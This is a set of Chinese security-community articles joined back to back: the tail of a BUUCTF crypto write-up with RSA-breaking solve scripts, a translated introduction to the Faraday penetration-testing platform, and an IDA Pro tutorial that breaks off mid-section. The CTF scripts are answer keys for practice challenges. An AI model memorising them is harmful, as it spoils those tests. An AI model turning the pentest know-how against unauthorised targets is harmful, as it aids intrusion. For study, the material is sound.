hei=mid-1
else:
break
然后基础的RSA解密即可
* 题解exp如下：
import gmpy2
from Crypto.Util.number import *
y=0
A=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c = 41971850275428383625653350824107291609587853887037624239544762751558838294718672159979929266922528917912189124713273673948051464226519605803745171340724343705832198554680196798623263806617998072496026019940476324971696928551159371970207365741517064295956376809297272541800647747885170905737868568000101029143923792003486793278197051326716680212726111099439262589341050943913401067673851885114314709706016622157285023272496793595281054074260451116213815934843317894898883215362289599366101018081513215120728297131352439066930452281829446586562062242527329672575620261776042653626411730955819001674118193293313612128
'''
for i in range(1000):
if i**316>A:
print(i)
break
'''
y=83
x=0
'''
for x in range(1,1000):
if (((y%x)**5)%(x%y))**2019+y**316+(y+1)//x==A:
print(x)
break
'''
x=2
xy=x*y
zz_near=n//xy
z_near=gmpy2.iroot(zz_near,2)[0]
low=0
hei=10000000
while low<hei:
mid=(low+hei)//2
p=gmpy2.next_prime((z_near-mid)*x*y)
q=gmpy2.next_prime((z_near-mid))
if p*q-n>0:
low=mid+1
elif p*q-n<0:
hei=mid-1
else:
break
print(p*q==n)
phi=(p-1)*(q-1)
e=0x10001
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag)
## [AFCTF2018]One Secret, Two encryption
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[AFCTF2018]One Secret, Two
encryption](https://buuoj.cn/challenges#%5BAFCTF2018%5DOne%20Secret,%20Two%20encryption)
* 附件
* public1.pub
* public2.pub
* flag_encry1
* flag_encry2
给了一份题面
一份秘密发送给两个人不太好吧，那我各自加密一次好啦~~~
素数生成好慢呀
偷个懒也……不会有问题的吧？
这边首先把两份公钥文件的n,e取出来看了一下
from Crypto.PublicKey import RSA
import gmpy2
from Crypto.Util.number import *
f=open("public1.pub","r")
rsa1=RSA.import_key(f.read())
n1=rsa1.n
e1=rsa1.e
f.close()
f=open("public2.pub","r")
rsa2=RSA.import_key(f.read())
n2=rsa2.n
e2=rsa2.e
f.close()
print(n1,e1)
print(n2,e2)
测试发现n1 n2有公约数。这边也是印证了题面给的懒得生成素数，所以共用了其中一个素数。这边直接gcd求解公约数即可。
然后分解出p q进行一个基础的RSA解密
* 题解exp如下：
from Crypto.PublicKey import RSA
import gmpy2
from Crypto.Util.number import *
f=open("public1.pub","r")
rsa1=RSA.import_key(f.read())
n1=rsa1.n
e1=rsa1.e
f.close()
f=open("public2.pub","r")
rsa2=RSA.import_key(f.read())
n2=rsa2.n
e2=rsa2.e
f.close()
#print(n1,e1)
#print(n2,e2)
p=gmpy2.gcd(n1,n2)
q=n2//p
assert(p*q==n2)
phi=(p-1)*(q-1)
d=gmpy2.invert(e2,phi)
c_bytes=open("flag_encry2","rb").read()
c=bytes_to_long(c_bytes)
m=pow(c,d,n2)
flag=long_to_bytes(m)
print(flag)
## [INSHack2019]Yet Another RSA Challenge – Part 1
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[INSHack2019]Yet Another RSA Challenge – Part
1](https://buuoj.cn/challenges#%5BINSHack2019%5DYet%20Another%20RSA%20Challenge%20-%20Part%201)
* 附件
* yarsac.py
* output.txt
题面很清晰，就是一个RSA加密，然后给了公钥n的其中有一个因子p，但是p是16进制表示的，最后输出的时候把9F替换成了FC。那么我们在给的output.txt文件中得到p的时候，其中的FC的位置就有可能为9F，亦有可能为FC。这边写个脚本爆破一下求解即可。
* 题解exp如下：
import gmpy2
from Crypto.Util.number import *
n=719579745653303119025873098043848913976880838286635817351790189702008424828505522253331968992725441130409959387942238566082746772468987336980704680915524591881919460709921709513741059003955050088052599067720107149755856317364317707629467090624585752920523062378696431510814381603360130752588995217840721808871896469275562085215852034302374902524921137398710508865248881286824902780186249148613287250056380811479959269915786545911048030947364841177976623684660771594747297272818410589981294227084173316280447729440036251406684111603371364957690353449585185893322538541593242187738587675489180722498945337715511212885934126635221601469699184812336984707723198731876940991485904637481371763302337637617744175461566445514603405016576604569057507997291470369704260553992902776099599438704680775883984720946337235834374667842758010444010254965664863296455406931885650448386682827401907759661117637294838753325610213809162253020362015045242003388829769019579522792182295457962911430276020610658073659629786668639126004851910536565721128484604554703970965744790413684836096724064390486888113608024265771815004188203124405817878645103282802994701531113849607969243815078720289912255827700390198089699808626116357304202660642601149742427766381
cipher=596380963583874022971492302071822444225514552231574984926542429117396590795270181084030717066220888052607057994262255729890598322976783889090993129161030148064314476199052180347747135088933481343974996843632511300255010825580875930722684714290535684951679115573751200980708359500292172387447570080875531002842462002727646367063816531958020271149645805755077133231395881833164790825731218786554806777097126212126561056170733032553159740167058242065879953688453169613384659653035659118823444582576657499974059388261153064772228570460351169216103620379299362366574826080703907036316546232196313193923841110510170689800892941998845140534954264505413254429240789223724066502818922164419890197058252325607667959185100118251170368909192832882776642565026481260424714348087206462283972676596101498123547647078981435969530082351104111747783346230914935599764345176602456069568419879060577771404946743580809330315332836749661503035076868102720709045692483171306425207758972682717326821412843569770615848397477633761506670219845039890098105484693890695897858251238713238301401843678654564558196040100908796513657968507381392735855990706254646471937809011610992016368630851454275478216664521360246605400986428230407975530880206404171034278692756
e=65537
guess=["9F","FC"]
p_=0
for a in guess:
for b in guess:
for c in guess:
for d in guess:
p="DCC5A0BD3A1"+a+"0BEB0DA1C2E8CF6B474481B7C12849B76E03C4C946724DB577D2825D6AA193DB559BC9DBABE1DDE8B5E7805E48749EF002F622F7CDBD7853B200E2A027E87E331A"+b+"FD066ED9900F1E5F5E5196A451A6F9E329EB889D773F08E5FBF45AACB818FD186DD74626180294DCC31805A88D1B71DE5BFEF3ED01F12678D906A833A78EDCE9BDAF22BBE45C0BFB7A82AFE42C1C3B8581C83BF43DFE31BFD81527E507686956458905CC9A660604552A060109DC81D01F229A264AB67C6D7168721AB36DE769CEAFB97F238050193EC942078DDF5329A387F46253A4411A9C8BB71F9AEB11AC9623E41C14"+c+"D2739D76E69283E57DDB11"+d+"531B4611EE3"
p=int(p,16)
q=n//p
if (p*q==n):
p_=p
p=p_
q=n//p
print(p*q==n)
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(cipher,d,n)
flag=long_to_bytes(m)
print(flag)
## [GUET-CTF2019]NO SOS
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[GUET-CTF2019]NO
SOS](https://buuoj.cn/challenges#%5BGUET-CTF2019%5DNO%20SOS)
* 附件：
* attachment.txt
首先发现一个很类似摩斯电码的东西。但是题目也写了no
sos，所以应该不是莫斯电码。并且也发现没有间隔。与之类似的有可能是2进制的表示或者培根密码。这边将.转为A将—转为B后发现位数刚好为5的倍数。
培根密码解密得到flag
## [UTCTF2020]basic-crypto
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[UTCTF2020]basic-crypto](https://buuoj.cn/challenges#%5BUTCTF2020%5Dbasic-crypto)
* 附件：
* attachment.txt
这题附件里面表示的就很明显，每一组都是8位二进制。直接转ascii字符即可。
* 题解exp如下：
f=open("attachment.txt","r")
arr=f.read().split(" ")
re=""
for i in arr:
re+=chr(int(i,2))
print(re)
## [ACTF新生赛2020]crypto-rsa3
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[ACTF新生赛2020]crypto-rsa3](https://buuoj.cn/challenges#%5BACTF%E6%96%B0%E7%94%9F%E8%B5%9B2020%5Dcrypto-rsa3)
* 附件：
* rsa3.py
* output.txt
可以发现就是最基础的RSA加密，其中p q为相邻的素数。直接yafu分解即可。
然后基础RSA解密即可
题解exp如下：
n=177606504836499246970959030226871608885969321778211051080524634084516973331441644993898029573612290095853069264036530459253652875586267946877831055147546910227100566496658148381834683037366134553848011903251252726474047661274223137727688689535823533046778793131902143444408735610821167838717488859902242863683
c=1457390378511382354771000540945361168984775052693073641682375071407490851289703070905749525830483035988737117653971428424612332020925926617395558868160380601912498299922825914229510166957910451841730028919883807634489834128830801407228447221775264711349928156290102782374379406719292116047581560530382210049
e=65537
p = 13326909050357447643526585836833969378078147057723054701432842192988717649385731430095055622303549577233495793715580004801634268505725255565021519817179293
q = 13326909050357447643526585836833969378078147057723054701432842192988717649385731430095055622303549577233495793715580004801634268505725255565021519817179231
from Crypto.Util.number import *
import gmpy2
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag)
## [MRCTF2020]babyRSA
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[MRCTF2020]babyRSA](https://buuoj.cn/challenges#%5BMRCTF2020%5DbabyRSA)
* 附件：
* baby_RSA.py
题目脚本比较长，一步一步分析。
if __name__ == "__main__":
_E = base
_P = gen_p()
_Q = gen_q()
assert (gcd(_E, (_P - 1) * (_Q - 1)) == 1)
_M = bytes_to_long(flag)
_C = pow(_M, _E, _P * _Q)
print("Ciphertext = ", _C)
首先，在主函数里面可以看到。其实这就是一个RSA加密。无非是_P和_Q都是带入了两个函数里面求解的。
def gen_q():
sub_Q = getPrime(1024)
Q_1 = getPrime(1024)
Q_2 = getPrime(1024)
Q = sub_Q ** Q_2 % Q_1
print("Q_1: ", Q_1)
print("Q_2: ", Q_2)
print("sub_Q: ", sub_Q)
return sympy.nextprime(Q)
_Q这个参数的话可以看到我们已知Q_1、Q_2、sub_Q就可以直接求解。
import sympy
import gmpy2
from Crypto.Util.number import *
Q_1=103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521
Q_2=151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743
sub_Q=168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651
Q=pow(sub_Q,Q_2, Q_1)
q=sympy.nextprime(Q)
print(q)
然后看到gen_p()这个函数
def gen_p():
P = [0 for i in range(17)]
P[0] = getPrime(128)
for i in range(1, 17):
P[i] = sympy.nextprime(P[i-1])
print("P_p :", P[9])
n = 1
for i in range(17):
n *= P[i]
p = getPrime(1024)
factor = pow(p, base, n)
print("P_factor :", factor)
return sympy.nextprime(p)
这边我们要求解p，其实就相当于求解一个RSA。n是由17个连续的质数作为因子的。然后我们得到了其中的第十个也就是下标为9的因子。那么我们通过sympy.prevprime和sympy.nextprime去求解得到所有的质数进行RSA基础解密得到p，然后取p的下一个质数作为_P即可。
* 题解exp如下：
import sympy
import gmpy2
from Crypto.Util.number import *
Q_1=103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521
Q_2=151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743
sub_Q=168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651
Q=pow(sub_Q,Q_2, Q_1)
q=sympy.nextprime(Q)
print(q)
P_p=206027926847308612719677572554991143421
P=[]
for i in range(9):
P_p=sympy.prevprime(P_p)
P.append(P_p)
P=P[::-1]
P_p=206027926847308612719677572554991143421
P.append(P_p)
for i in range(9):
P_p=sympy.nextprime(P_p)
P.append(P_p)
n_p=1
for i in range(17):
n_p *= P[i]
phi_p=1
for i in range(17):
phi_p *= (P[i]-1)
P_factor=213671742765908980787116579976289600595864704574134469173111790965233629909513884704158446946409910475727584342641848597858942209151114627306286393390259700239698869487469080881267182803062488043469138252786381822646126962323295676431679988602406971858136496624861228526070581338082202663895710929460596143281673761666804565161435963957655012011051936180536581488499059517946308650135300428672486819645279969693519039407892941672784362868653243632727928279698588177694171797254644864554162848696210763681197279758130811723700154618280764123396312330032986093579531909363210692564988076206283296967165522152288770019720928264542910922693728918198338839
base = 65537
d_p=gmpy2.invert(base,phi_p)
p=sympy.nextprime(pow(P_factor,d_p,n_p))
Ciphertext = 1709187240516367141460862187749451047644094885791761673574674330840842792189795049968394122216854491757922647656430908587059997070488674220330847871811836724541907666983042376216411561826640060734307013458794925025684062804589439843027290282034999617915124231838524593607080377300985152179828199569474241678651559771763395596697140206072537688129790126472053987391538280007082203006348029125729650207661362371936196789562658458778312533505938858959644541233578654340925901963957980047639114170033936570060250438906130591377904182111622236567507022711176457301476543461600524993045300728432815672077399879668276471832
phi=(p-1)*(q-1)
d=gmpy2.invert(base,phi)
m=pow(Ciphertext,d,p*q)
flag=long_to_bytes(m)
print(flag)
## [WUSTCTF2020]dp_leaking_1s_very_d@angerous
* 题目链接（buu平台）
https://buuoj.cn/challenges#[WUSTCTF2020]dp_leaking_1s_very_d@angerous
* 附件：
* attachment
题意很明显，是dp泄露。
dp=d%(p-1)
这种参数是为了让解密的时候更快速产生的
* 题解exp如下：
import gmpy2
import rsa
import binascii
p=0
e=65537
n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847
c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869
dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825
temp=dp*e
for i in range(1,e) :
if (temp-1)%i==0:
x=(temp-1)//i+1
y=n%x
if y==0:
p=x
break
q=n//p
d=gmpy2.invert(e,(p-1)*(q-1))
key=rsa.PrivateKey(n,e,d,p,q)
m=pow(c,d,n)
print(binascii.unhexlify(hex(m)[2:])) | 社区文章 |
# 【安全工具】faraday：协同渗透测试和漏洞管理平台（18:30增加演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**下载链接：**[
**https://github.com/infobyte/faraday**](https://github.com/infobyte/faraday)
********
**前言**
Hi，安全客的小伙伴们大家好，今天给大家介绍一款名叫faraday的安全工具。准确的说 **faraday是一个渗透测试协作和漏洞管理平台**
。此款工具曾多次入选BlackHat兵工厂及各安全会议。 **本文将向大家分享一下使用这款工具的体验报告。**
图1：部分会议相关链接
**工具介绍**
**Faraday平台的开发引入了一个全新的概念：IPE（综合渗透测试环境），这是一个多用户的渗透测试协作平台。**
专为在安全审计期间生成的数据进行分发，索引和分析而设计。
Faraday的主要目的是结合安全社区中的常用工具，以多用户的方式利用它们。
显而易见的是，作为用户的我们要知道我们在终端中常用的一些安全工具和Faraday包括的工具是没有任何区别的。该平台仅仅是开发了一套专门的功能，帮助用户改进自己的工作。
写过代码的同学都知道，在进行项目开发的时候使用IDE可以极大的提高我们的工作效率。Faraday也一样，甚至说Faraday就是为了提高渗透测试人员的工作效率而生！
**安装指南**
Faraday支持如下几款操作系统：
以Linux为例，具体安装方法如下
$ git clone https://github.com/infobyte/faraday.git faraday-dev
$ cd faraday-dev
$ ./install.sh
$ service couchdb start
$ ./faraday-server.py
$ ./faraday.py
在安装完成后，运行faraday-server.py之前要先启动CouchDB数据库服务，即要先执行service couchdb
start否则会报这个错误：
root@kali:~/faraday-dev# ./faraday-server.py
2017-08-22 18:05:24,971 - faraday-server.__main__ - INFO - Checking dependencies...
2017-08-22 18:05:24,971 - faraday-server.__main__ - INFO - Dependencies met
2017-08-22 18:05:25,883 - faraday-server.server.couchdb - WARNING - Reports database couldn't be uploaded. You need to be an admin to do it
2017-08-22 18:05:26,953 - faraday-server.server.importer - ERROR - CouchDB is not running at http://localhost:5984. Check faraday-server's configuration and make sure CouchDB is running
启动后的界面如下图所示：
点击第3个图标即可跳转到
为了简单起见，用户应该注意到他们自己的终端应用程序和Faraday包含的应用程序之间没有区别。开发了一套专门的功能，帮助用户改进自己的工作。你还记得自己编程没有IDE吗？在渗透测试这个领域Faraday就像是在编程时的IDE一样。
更多详情请阅读[
**release日志**](https://github.com/infobyte/faraday/blob/master/RELEASE.md)！
**安装演示视频**
**
**
**
**
**功能展示**
**工作空间**
工作空间为每一个渗透工程师的不同工作环境，Faraday汇总渗透团队全部的渗透成果，并将信息已图表等形式展示出来。
**使用演示视频**
**
**
**
**
**Faraday插件**
使用Faraday插件，可以使用命令行执行不同的操作，例如：
$ cd faraday-dev/bin/
$ ./fplugin create_host 192.154.33.222 Android
1a7b2981c7becbcb3d5318056eb29a58817f5e67
$ ./fplugin filter_services http ssh -p 21 -a
Filtering services for ports: 21, 22, 80, 443, 8080, 8443
192.168.20.1 ssh [22] tcp open None
192.168.20.1 http [443] tcp open None
192.168.20.7 ssh [22] tcp open Linux
192.168.20.7 http [443] tcp open Linux
192.168.20.11 ssh [22] tcp open Linux
**通知**
其他Faraday实例上的对象更新之后，Faraday GTK客户端就会收到通知。
值得一提的是，如果你使用的是ZSH UI则通过命令行的方式进行通知（没有GUI）
**CSV导出**
Faraday支持从Web端导出CSV格式。为了将内容以CSV的格式导出，可以点击左侧导航栏上数第2个的Status Report（状态报告）。
然后单击工作区旁边的绿色下载链接
可以在搜索框中过滤留下我们需要的信息。
更多实用功能还望各位看官自行发掘体验！
**插件**
不要改变你现在的工作方式！不要担心你平常使用的工具会跟Faraday存在兼容性方面的问题。现在Faraday已经支持50款常用安全工具。
**插件主要分为3种类型**
**拦截命令插件** ，在控制台中检测到命令时直接触发，这类插件对你来说是透明的，你无需考虑其他内容
**导入文件报告的插件**
，你必须将报告复制到，$HOME/.faraday/report/[workspacename]（用工作空间的实际名字替换到这部分。Faraday将自动检测、处理并将其添加到HostTree。）插件connectors或online（BeEF，Metasploit，Burp），这些连接到外部API或数据库，或直接与Faraday的RPC
API通信。
**API**
**插件列表**
Faraday诞生的主要用途是重新复用安全社区中的常用工具，以多用户协作的方式利用它们。为了最大限度地发挥Faraday的灵活性，其插件在客户端上运行，这意味着你可以自己提供一些自定义的插件。
Faraday的插件分为3种形式：控制台、报告和API。然而，这些并不是互斥的，而是说在使用安全工具时，有多个插件来处理它们的输出。举个例子，Nmap有一个控制台插件，允许您直接从ZSH运行它，但它也有一个报告插件，以便导入Faraday之外的扫描结果。
**控制台**
拦截命令的插件，在控制台中检测到命令输入时直接触发。该功能是自动进行的，无需采取任何额外的操作。
**报告**
导入文件报告的插件，可以将报告复制到~/.faraday/report/{workspacename}（使用Workspace的实际名称替换{workspacename}的内容），Faraday
GTK客户端将自动检测，处理并将其添加到HostTree中。如果Faraday无法检测到处理报告所需的插件，则可以在扩展名之前通过在文件名中添加_faraday_pluginName来人工选择将使用哪个插件。
例如，如果未识别名为burp_1456983368.xml的Burp报告，请尝试将其重命名为Burp_1456983368_faraday_Burp.xml。现在将其复制到Workspace目录中，Faraday现在应该运行插件并导入所有漏洞。
请记住，此功能区分大小写。 可用插件的名称是：
Acunetix
Arachni
Burp
Core Impact
Maltego
Metasploit
Nessus
Netsparker
Nexpose
NexposeFull
Nikto
Nmap
Openvas
Qualysguard
Retina
W3af
X1
Zap
**API**
插件连connectors或online（BeEF，Metasploit，Burp），这些连接到外部API或数据库，或直接与Faraday的RPC
API通信。
**目前 Faraday支持的安全工具列表**
Acunetix (REPORT) (XML)
Amap (CONSOLE)
Arachni (REPORT, CONSOLE) (XML)
arp-scan (CONSOLE)
BeEF (API)
Burp, BurpPro (REPORT, API) (XML)
Core Impact, Core Impact (REPORT) (XML)
Dig (CONSOLE)
Dirb (CONSOLE)
Dnsenum (CONSOLE)
Dnsmap (CONSOLE)
Dnsrecon (CONSOLE)
Dnswalk (CONSOLE)
evilgrade (API)
Fierce (CONSOLE)
Fruitywifi (API)
ftp (CONSOLE)
Goohost (CONSOLE)
hping3 (CONSOLE)
Hydra (CONSOLE) (XML)
Immunity Canvas (API)
Listurls (CONSOLE)
Maltego (REPORT)
masscan (REPORT, CONSOLE) (XML)
Medusa (CONSOLE)
Metagoofil (CONSOLE)
Metasploit, (REPORT, API) (XML) XML report
Ndiff (REPORT, CONSOLE)
Nessus, (REPORT) (XML .nessus)
Netcat (CONSOLE)
Netdiscover (CONSOLE)
Netsparker (REPORT) (XML)
Nexpose, Nexpose Enterprise, (REPORT) (simple XML, XML Export plugin (2.0))
Nikto (REPORT, CONSOLE) (XML)
Nmap (REPORT, CONSOLE) (XML)
Openvas (REPORT) (XML)
PasteAnalyzer (CONSOLE)
Peeping Tom (CONSOLE)
ping (CONSOLE)
propecia (CONSOLE)
Qualysguard (REPORT) (XML)
Retina (REPORT) (XML)
Reverseraider (CONSOLE)
Sentinel (API)
Shodan (API)
Skipfish (CONSOLE)
Sqlmap (CONSOLE)
SSHdefaultscan (CONSOLE)
SSLcheck (CONSOLE)
Telnet (CONSOLE)
Theharvester (CONSOLE)
Traceroute (CONSOLE)
W3af (REPORT) (XML)
Wapiti (CONSOLE)
Wcscan (CONSOLE)
Webfuzzer (CONSOLE)
whois (CONSOLE)
WPScan (CONSOLE)
X1, Onapsis (REPORT) (XML)
Zap (REPORT) (XML)
**参考链接**
<https://github.com/infobyte/faraday> | 社区文章 |
俗话说，工欲善其事，必先利其器，在二进制安全的学习中，使用工具尤为重要，而IDA又是玩二进制的神器，以前在使用IDA的时候，只是用几个比较常用的功能，对于IDA的其他功能没有去研究，于是本着学习的精神，参考着《IDA
pro权威指南》(第二版)，写下这篇文章，记录自己的学习心得，下面的记录都是在Windows平台下的IDA pro7.0进行的
# 一些二进制工具
在《IDA pro权威指南》的开篇一两章中，先是介绍了几款常用于二进制研究的工具，我这里简单的记了几个，介绍一波：
C++filt：
可以用于显示出c++中复杂的重载后的函数名称
PE tools：
是一组用于分析Windows系统中正在运行的进程和可执行文件的工具
string：
可以用于直接搜索出elf文件中的所有字符串
参数-a 表示搜索整个文件，参数-t 可以显示出每一个字符串的偏移，参数-e 可以用于搜索更多的字符编码的字符串，如Unicode编码
strip：
可用于elf去符号，去符号后仍然保持正常功能但增加了逆向的难度，出题恶人必备
开发了IDA的天才是Ilfak，他的个人博客有很多IDA的教程
<https://www.hexblog.com/>
# IDA目录结构
在IDA的安装根目录下有许多文件夹，各个文件夹存储不同的内容
cfg：包含各种配置文件，基本IDA配置文件ida.cfg,GUI配置文件idagui.cfg，文本模式用户界面配置文件idatui.cfg,
idc：包含IDA内置脚本语言IDC所需要的核心文件
ids：包含一些符号文件
loaders：包含用于识别和解析PE或者ELF
plugins：附加的插件模块
procs：包含处理器模块
# 常用快捷键
IDA中的快捷键都是和菜单栏的各个功能选项一一对应的，基本上你只要能在菜单栏上找到某个功能，也就能看到相应的快捷键，这里记录几个常用的：
a：将数据转换为字符串
f5：一键反汇编
esc：回退键，能够倒回上一部操作的视图（只有在反汇编窗口才是这个作用，如果是在其他窗口按下esc，会关闭该窗口）
shift+f12：可以打开string窗口，一键找出所有的字符串，右击setup，还能对窗口的属性进行设置
ctrl+w：保存ida数据库
ctrl+s：选择某个数据段，直接进行跳转
ctrl+鼠标滚轮：能够调节流程视图的大小
x：对着某个函数、变量按该快捷键，可以查看它的交叉引用
g：直接跳转到某个地址
n：更改变量的名称
y：更改变量的类型
/ ：在反编译后伪代码的界面中写下注释
\：在反编译后伪代码的界面中隐藏/显示变量和函数的类型描述，有时候变量特别多的时候隐藏掉类型描述看起来会轻松很多
；：在反汇编后的界面中写下注释
ctrl+shift+w：拍摄IDA快照
u：undefine，取消定义函数、代码、数据的定义
# 常用设置
## 拍摄快照
由于IDA不提供撤销的功能，如果你不小心按到某个键，导致ida数据库发生了改变，就得重新来过，所以要记得在经常操作的时候，加上快照：file-->take
database snapshot
加完快照后，会生成一个新的ida数据库文件，本质上是有点像另存的操作
快捷键：ctrl+shift+w
## 菜单栏常用设置
view-->open subviews: 可以恢复你无意中关闭的数据显示窗口
windows-->reset desktop: 可以恢复初始ida布局
option-->font: 可以改变字体的相关属性
## 在流程视图中添加地址偏移
IDA中的流程视图可以说是非常的好用，简单明了地能看出程序的执行流程，尤其是在看if分支代码和循环代码的时候，能够非常直观
但是，我们还可以改得更加好用，在这个视图中添加地址偏移的话，我们取地址就非常方便，不再需要按空格切换视图去找，在菜单栏中设置：option-->general
将该选项打钩后就可以看到效果了：
## 自动添加反汇编注释
这个功能对于萌新来说非常友好，在刚刚初学汇编的时候，
难免遇到几个不常用的蛇皮汇编指令，就得自己一个个去查，很麻烦，开启了自动注释的功能后，IDA就可以直接告诉你汇编指令的意思
同样是在菜单栏中设置：option-->general
效果如下：
# 常用操作
## 创建数组
在操作IDA的时候，经常会遇到需要创建数组的情况，尤其是为了能方便我们看字符串的时候，创建数组显得非常必要，以下我随便找了个数据来创建数组
首先点击选中你想要转换成数组的一块区域：
接着在菜单栏中选择：edit-->array，就会弹出如下的选项框
下面来解释一下各个参数的意思：
`Array element size` 这个值表示各数组元素的大小（这里是1个字节），是根据你选中的数据值的大小所决定的
`Maximum possible size` 这个值是由自动计算得出的，他表示数组中的元素的可能的最大值
`Array size` 表示数组元素的数量，一般都根据你选定的自动产生默认值
`Items on a line` 这个表示指定每个反汇编行显示的元素数量，它可以减少显示数组所需的空间
`Element print width` 这个值用于格式化，当一行显示多个项目时，他控制列宽
`Use “dup” construct` ：使用重复结构，这个选项可以使得相同的数据值合并起来，用一个重复说明符组合成一项
`Signed elements` 表示将数据显示为有符号数还是无符号数
`Display indexes` 显示索引，使得数组索引以常规的形式显示，如果选了这个选项，还会启动右边的Indexes选项栏，用于选择索引的显示格式
`Create as array` 创建为数组，这个一般默认选上的
创建好了以后，就变成了这样：
)
可以看到这些数据已经被当成一个数组折叠到了一起，其中`2 dup(0FFh)`这样的，表示有两个重复的数据0xff
## 流程图
### 折叠流程图中的分支
在流程视图中，分支过多的时候，可以在窗口标题处右击选择group nodes，就能把当前块折叠起来
效果如下:
分支块是可以自己命名的，方便自己逆向理解
### 函数调用图
菜单栏中：view-->graphs-->Function calls(快捷键Ctrl+F12)
这个图能很清楚地看到函数之间是如何相互调用的
### 函数流程图
菜单栏中：view-->graphs-->flowt chart(快捷键F12)
这个其实跟IDA自带的反汇编流程视图差不多，他可以导出来作为单独的一张图
## 创建结构体：
### 手工创建结构体
创建结构体是在IDA的structures窗口中进行的，这个操作在堆漏洞的pwn题中经常使用
可以看到，这里已经存在了四个结构体，程序本身存在的，可以右击选择hide/unhide,来看具体的结构体的内容
创建结构体的快捷键是：insert
在弹出的窗口中，可以编辑结构体的名字
这底下有三个复选框，第一个表示显示在当前结构体之前（就会排列在第一位，否则排列在你鼠标选定的位置），第二个表示是否在窗口中显示新的结构体，第三个表示是否创建联合体。
需要注意的是，结构体的大小是它所包含的字段大小的总和，而联合体的大小则等于其中最大字段的大小
在单击ok以后，就定好了一个空的结构体：
将鼠标放在 ends这一行，单击快捷键D即可添加结构体成员，成员的命名默认是以field_x表示的，x代表了该成员在结构体中的偏移
同时，可以把鼠标放在结构体成员所在的行，按D，就可以切换不同的字节大小
默认情况下可供选择的就只有db，dw，dd（1，2，4字节大小）
如果想添加型的类型，可以在option-->setup data types(快捷键Alt+D)，进行设置
如图，勾选了第五个和第九个的话，就会出现dq和xmmword了（代表了8字节和16字节）
如果要添加数组成员则可以对着成员所在的那一行，右击选择array
如图，要创建的是16个元素的4字节数组
**如果要删除结构体，那么对着结构体按下delete键即可删除**
**如果要删除成员，则对着成员按下u（undefine）但是需要注意的是，这里只是删除了成员的名字，而没有删除它所分配的空间**
如图，我们删除了中间的field_10的数组成员：
会变成这样：
数组所分配的20个字节的空间并没有被删除，这时如果要删除掉这些空间，就需要在原来数组成员所在的第一行中按下Ctrl+S，删除空间（Edit-->shrink
struct types）
就可以真正的删除掉成员
**给结构体的成员重命名可以用快捷键N**
我们在IDA中创建好了结构体以后，就是去应用它了
如图，这是一个典型的堆的题目
可以看到v1是一个新建的chunk的地址指针，而后的操作都是往chunk不同的偏移位置写入内容，为了方便我们逆向观察，可以将其变成一个结构体，通过`v1`
`v1+4` `v1+0x48` 这样的偏移，创建好结构体后，将`char *v1`的类型改成`mail
*v1`,（快捷键Y可以更改函数、变量的类型和参数）这个mail是我们创建的结构体的名称，效果如下：
### 导入C语言声明的结构体
实际上，IDA有提供一个更方便的创建结构体的方法，就是直接写代码导入
在View-->Open Subviews-->Local Types中可以看到本地已有的结构体，在该窗口中右击insert
可以添加新的结构体：
这样就导入了新的结构体：
但同时我们发现structure视图里面，并没有这个结构体，我们需要对着my_structure右击，选择 synchronize to idb
这样structure视图就有了,如图
这里你会发现，多出来两个db的undefined的成员，这是因为ida默认是会把结构体统一4字节对齐的，满足结构体的大小为0x28
## IDA动态调试elf：
这里我以一个在Ubuntu虚拟机中的elf为例子，进行调试
